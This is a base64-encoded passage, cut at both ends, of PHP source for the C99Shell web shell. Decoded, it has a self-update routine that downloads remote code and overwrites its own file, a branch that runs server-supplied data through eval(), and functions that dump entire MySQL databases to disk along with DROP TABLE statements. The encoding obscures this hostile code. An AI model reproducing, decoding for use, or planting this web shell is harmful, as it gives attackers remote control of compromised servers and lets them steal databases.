YXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOw0KICAgICAgICAgICAgaWYgKCEkZGF0YSkN
CiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gIkNhbid0IGNvbm5lY3QgdG8g
dXBkYXRlLXNlcnZlciEiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICRkYXRhID0gbHRyaW0oJGRhdGEpOw0KICAgICAgICAg
ICAgICAgICRzdHJpbmcgPSBzdWJzdHIoJGRhdGEsIDMsIG9yZCgkZGF0YXsyfSkpOw0KICAgICAg
ICAgICAgICAgIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAxIikN
CiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAiRXJyb3I6ICIg
LiAkc3RyaW5nOw0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRh
ezF9ID09ICJceDAyIikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIHJl
dHVybiAiWW91IGFyZSB1c2luZyBsYXRlc3QgdmVyc2lvbiEiOw0KICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAi
XHgwMyIpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkc3RyaW5nID0g
ZXhwbG9kZSgiXHgwMSIsICRzdHJpbmcpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHVwZGF0
ZSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbmZ2
YXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzb3VyY2V1cmwgPSAkc3Ry
aW5nWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNvdXJjZSA9IGZpbGVfZ2V0X2NvbnRl
bnRzKCRzb3VyY2V1cmwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkc291cmNlKQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJl
dHVybiAiQ2FuJ3QgZmV0Y2ggdXBkYXRlISI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gZm9wZW4oX19GSUxFX18sICJ3Iik7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZnApDQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gIkxvY2Fs
IGVycm9yOiBjYW4ndCB3cml0ZSB1cGRhdGUgdG8gIiAuIF9fRklMRV9fIC4gIiEgWW91IG1heSBk
b3dubG9hZCBjOTlzaGVsbC5waHAgbWFudWFsbHkgPGEgaHJlZj1cIiIgLiAkc291cmNldXJsIC4g
IlwiPjx1PmhlcmU8L3U+PC9hPi4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkc291cmNl
KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAiVGhhbmtzISBVcGRhdGVkIHdpdGggc3Vj
Y2Vzcy4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNl
DQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAi
TmV3IHZlcnNpb24gYXJlIGF2YWlsYWJsZTogIiAuICRzdHJpbmdbMV07DQogICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZWlmICgkZGF0
YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDA0IikNCiAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgIGV2YWwoJHN0cmluZyk7DQogICAgICAgICAgICAgICAgICAg
IHJldHVybiAxOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gIkVycm9yIGluIHByb3Rv
Y29sOiBzZWdtZW50YXRpb24gZmFpbGVkISAoIiAuICRkYXRhIC4gIikgIjsNCiAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlv
bl9leGlzdHMoIm15c3FsX2R1bXAiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIG15c3FsX2R1
bXAoJHNldCkNCiAgICAgICAgew0KICAgICAgICAgICAgZ2xvYmFsICRzaHZlcjsNCiAgICAgICAg
ICAgICRzb2NrID0gJHNldFsic29jayJdOw0KICAgICAgICAgICAgJGRiID0gJHNldFsiZGIiXTsN
CiAgICAgICAgICAgICRwcmludCA9ICRzZXRbInByaW50Il07DQogICAgICAgICAgICAkbmwyYnIg
PSAkc2V0WyJubDJiciJdOw0KICAgICAgICAgICAgJGZpbGUgPSAkc2V0WyJmaWxlIl07DQogICAg
ICAgICAgICAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOw0KICAgICAgICAgICAgJHRhYnMg
PSAkc2V0WyJ0YWJzIl07DQogICAgICAgICAgICAkb25seXRhYnMgPSAkc2V0WyJvbmx5dGFicyJd
Ow0KICAgICAgICAgICAgJHJldCA9IGFycmF5KCk7DQogICAgICAgICAgICAkcmV0WyJlcnIiXSA9
IGFycmF5KCk7DQogICAgICAgICAgICBpZiAoIWlzX3Jlc291cmNlKCRzb2NrKSkNCiAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICgiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQg
cmVzb3VyY2UuIik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoZW1wdHkoJGRiKSkN
CiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZGIgPSAiZGIiOw0KICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgaWYgKGVtcHR5KCRwcmludCkpDQogICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgJHByaW50ID0gMDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChlbXB0
eSgkbmwyYnIpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRubDJiciA9IDA7DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoZW1wdHkoJGFkZF9kcm9wKSkNCiAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAkYWRkX2Ryb3AgPSB0cnVlOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgaWYgKGVtcHR5KCRmaWxlKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAkZmlsZSA9ICR0bXBkaXIgLiAiZHVtcF8iIC4gZ2V0ZW52KCJTRVJWRVJfTkFNRSIpIC4g
Il8iIC4gJGRiIC4gIl8iIC4gZGF0ZSgiZC1tLVktSC1pLXMiKSAuICIuc3FsIjsNCiAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJHRhYnMpKQ0KICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICR0YWJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgIGlmIChlbXB0eSgkYWRkX2Ryb3ApKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICRhZGRfZHJvcCA9IHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoc2l6ZW9m
KCR0YWJzKSA9PSAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRyZXMgPSBteXNx
bF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiIC4gJGRiLCAkc29jayk7DQogICAgICAgICAgICAg
ICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkNCiAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKQ0KICAg
ICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGFic1tdID0gJHJv
d1swXTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICRvdXQgPSAiIyBEdW1wZWQgYnkgQzk5U2hlbGwuU1FMIHYuICIg
LiAkc2h2ZXIgLiAiDQoJCQkJCSMgSG9tZSBwYWdlOiBodHRwczovL2dpdGh1Yi5jb20vS2FpemVu
TG91aWUvQzk5U2hlbGwtUEhQNw0KCQkJCQkjDQoJCQkJCSMgSG9zdCBzZXR0aW5nczoNCgkJCQkJ
IyBNeVNRTCB2ZXJzaW9uOiAoIiAuIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpIC4gIikgcnVubmlu
ZyBvbiAiIC4gZ2V0ZW52KCJTRVJWRVJfQUREUiIpIC4gIiAoIiAuIGdldGVudigiU0VSVkVSX05B
TUUiKSAuICIpIiAuICINCgkJCQkJIyBEYXRlOiAiIC4gZGF0ZSgiZC5tLlkgSDppOnMiKSAuICIN
CgkJCQkJIyBEQjogXCIiIC4gJGRiIC4gIlwiDQoJCQkJCSMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiI7DQogICAgICAgICAgICAkYyA9
IGNvdW50KCRvbmx5dGFicyk7DQogICAgICAgICAgICBmb3JlYWNoICgkdGFicyBhcyAkdGFiKQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgoaW5fYXJyYXkoJHRhYiwgJG9ubHl0
YWJzKSkgb3IgKCEkYykpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBp
ZiAoJGFkZF9kcm9wKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAkb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIiAuICR0YWIgLiAiYDtcbiI7DQog
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHJlcyA9IG15c3FsX3F1
ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIiAuICR0YWIgLiAiYCIsICRzb2NrKTsNCiAgICAgICAg
ICAgICAgICAgICAgaWYgKCEkcmVzKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICAkcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpOw0KICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJvdyA9IG15c3FsX2ZldGNoX3Jvdygk
cmVzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgLj0gJHJvd1siMSJdIC4gIjtcblxu
IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICog
RlJPTSBgJHRhYmAiLCAkc29jayk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAobXlzcWxf
bnVtX3Jvd3MoJHJlcykgPiAwKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykp
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHZhbHVlcyBhcyAkayA9
PiAkdikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgJHZhbHVlc1ska10gPSBhZGRzbGFzaGVzKCR2KTsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAkc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIiAuICRrZXlzIC4g
ImApIFZBTFVFUyAoJyIgLiAkdmFsdWVzIC4gIicpO1xuIjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgJG91dCAuPSAkc3FsOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRvdXQgLj0gIiMtLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiAgICAgICAgICAgIGlmICgkZmlsZSkNCiAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsNCiAgICAgICAg
ICAgICAgICBpZiAoISRmcCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICRyZXRbImVyciJdW10gPSAyOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBl
bHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAk
b3V0KTsNCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRwcmludCkNCiAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICBpZiAoJG5sMmJyKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgZWNobyBubDJicigkb3V0KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNo
byAkb3V0Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJl
dHVybiAkb3V0Ow0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJt
eXNxbF9idWlsZHdoZXJlIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBteXNxbF9idWlsZHdo
ZXJlKCRhcnJheSwgJHNlcCA9ICIgYW5kIiwgJGZ1bmN0cyA9IGFycmF5KCkpDQogICAgICAgIHsN
CiAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJGFycmF5KSkNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAkYXJyYXkgPSBhcnJheSgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
JHJlc3VsdCA9ICIiOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR2YWx1ZSA9ICIiOw0KICAgICAgICAgICAg
ICAgIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgJHZhbHVlIC49ICRmdW5jdHNbJGtdIC4gIigiOw0KICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAkdmFsdWUgLj0gIiciIC4gYWRkc2xhc2hlcygkdikgLiAiJyI7
DQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpDQogICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAkdmFsdWUgLj0gIikiOw0KICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICJgIiAuICRrIC4gImAgPSAiIC4gJHZhbHVl
IC4gJHNlcDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRyZXN1bHQgPSBzdWJzdHIoJHJl
c3VsdCwgMCwgc3RybGVuKCRyZXN1bHQpIC0gc3RybGVuKCRzZXApKTsNCiAgICAgICAgICAgIHJl
dHVybiAkcmVzdWx0Ow0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3Rz
KCJteXNxbF9mZXRjaF9hbGwiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIG15c3FsX2ZldGNo
X2FsbCgkcXVlcnksICRzb2NrKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoJHNvY2spDQog
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVy
eSwgJHNvY2spOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0KICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgJGFycmF5ID0gYXJyYXkoKTsNCiAgICAgICAgICAgIHdoaWxl
ICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpDQogICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgJGFycmF5W10gPSAkcm93Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
bXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgICAgICByZXR1cm4gJGFycmF5Ow0K
ICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVy
cm9yIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCAk
c29jaykNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCRzb2NrKQ0KICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTsNCiAgICAgICAgICAg
IH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZXJy
b3IgPSBteXNxbF9lcnJvcigpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGVycm9yID0g
aHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOw0KICAgICAgICAgICAgcmV0dXJuICRlcnJvcjsNCiAg
ICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9y
bSIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpDQogICAgICAg
IHsNCiAgICAgICAgICAgIGdsb2JhbCAkc3VibWl0LCAkc3FsX2FjdCwgJHNxbF9xdWVyeSwgJHNx
bF9xdWVyeV9yZXN1bHQsICRzcWxfY29uZmlybSwgJHNxbF9xdWVyeV9lcnJvciwgJHRibF9zdHJ1
Y3Q7DQogICAgICAgICAgICBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBh
bmQgKCRzcWxfY29uZmlybSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKCEk
c3FsX3F1ZXJ5X2Vycm9yKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiOw0KICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iIC4gJHNxbF9xdWVyeV9l
cnJvciAuICI8YnI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICgkc3FsX3F1ZXJ5
X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgJHNxbF9hY3QgPSAkc3FsX2dvdG87DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAo
KCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
IGVjaG8gIjx0YWJsZSBib3JkZXI9MD48dHI+PHRkPjxmb3JtIG5hbWU9XCJjOTlzaF9zcWxxdWVy
eVwiIG1ldGhvZD1QT1NUPjxiPiI7DQogICAgICAgICAgICAgICAgaWYgKCgkc3FsX3F1ZXJ5KSBh
bmQgKCEkc3VibWl0KSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVj
aG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8g
IlNRTC1RdWVyeSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjo8
L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1zcWxfcXVlcnkgY29scz0xMDAgcm93cz0xMD4iIC4g
aHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KSAuICI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0
IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1z
cWxfYWN0IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9
XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkgLiAiXCI+PGlucHV0IHR5cGU9aGlkZGVu
IG5hbWU9c3VibWl0IHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dv
dG9cIiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykgLiAiXCI+PGlucHV0
IHR5cGU9c3VibWl0IG5hbWU9c3FsX2NvbmZpcm0gdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQg
dHlwZT1zdWJtaXQgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPiI7DQogICAgICAgICAgICAgICAg
aWYgKCR0Ymxfc3RydWN0KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ZWNobyAiPHRkIHZhbGlnbj1cInRvcFwiPjxiPkZpZWxkczo8L2I+PGJyPiI7DQogICAgICAgICAg
ICAgICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0IGFzICRmaWVsZCkNCiAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG5hbWUgPSAkZmllbGRbIkZpZWxkIl07
DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICLCuyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9
XCJkb2N1bWVudC5jOTlzaF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIiAuICRuYW1lIC4g
ImAnO1wiPjxiPiIgLiAkbmFtZSAuICI8L2I+PC9hPjxicj4iOw0KICAgICAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRzcWxfcXVlcnlf
cmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAkc3FsX3F1ZXJ5ID0gJHNxbF9sYXN0X3F1ZXJ5Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9
DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jcmVhdGVfZGIiKSkNCiAg
ICB7DQogICAgICAgIGZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsICRzb2NrID0gIiIpDQog
ICAgICAgIHsNCiAgICAgICAgICAgICRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiIC4gYWRkc2xh
c2hlcygkZGIpIC4gImA7IjsNCiAgICAgICAgICAgIGlmICgkc29jaykNCiAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICByZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwgJHNvY2spOw0KICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
IHJldHVybiBteXNxbF9xdWVyeSgkc3FsKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAg
IH0NCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkNCiAgICB7
DQogICAgICAgIGZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3BhcnNlKCRxdWVyeSkNCiAgICAgICAgew0K
ICAgICAgICAgICAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOw0KICAgICAgICAgICAgJGFyciA9IGV4
cGxvZGUoIiAiLCAkcXVlcnkpOw0KICAgICAgICAgICAgJHR5cGVzID0gYXJyYXkoDQogICAgICAg
ICAgICAgICAgIlNFTEVDVCIgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgIDMsDQogICAg
ICAgICAgICAgICAgICAgIDENCiAgICAgICAgICAgICAgICApICwNCiAgICAgICAgICAgICAgICAi
U0hPVyIgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgIDIsDQogICAgICAgICAgICAgICAg
ICAgIDENCiAgICAgICAgICAgICAgICApICwNCiAgICAgICAgICAgICAgICAiREVMRVRFIiA9PiBh
cnJheSgNCiAgICAgICAgICAgICAgICAgICAgMQ0KICAgICAgICAgICAgICAgICkgLA0KICAgICAg
ICAgICAgICAgICJEUk9QIiA9PiBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgMQ0KICAgICAg
ICAgICAgICAgICkNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkcmVzdWx0ID0gYXJyYXko
KTsNCiAgICAgICAgICAgICRvcCA9IHN0cnRvdXBwZXIoJGFyclswXSk7DQogICAgICAgICAgICBp
ZiAoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICRyZXN1bHRbInByb3BlcnRpb25zIl0gPSAkdHlwZXNbJG9wXTsNCiAgICAgICAgICAgICAgICAk
cmVzdWx0WyJxdWVyeSJdID0gJHF1ZXJ5Ow0KICAgICAgICAgICAgICAgIGlmICgkdHlwZXNbJG9w
XSA9PSAyKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAo
JGFyciBhcyAkayA9PiAkdikNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpDQogICAgICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9
ICRhcnJbJGsgKyAxXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0WyJsaW1p
dCJdID0gZXhwbG9kZSgiLCIsICRyZXN1bHRbImxpbWl0Il0pOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKQ0KICAgICAgICAgICAg
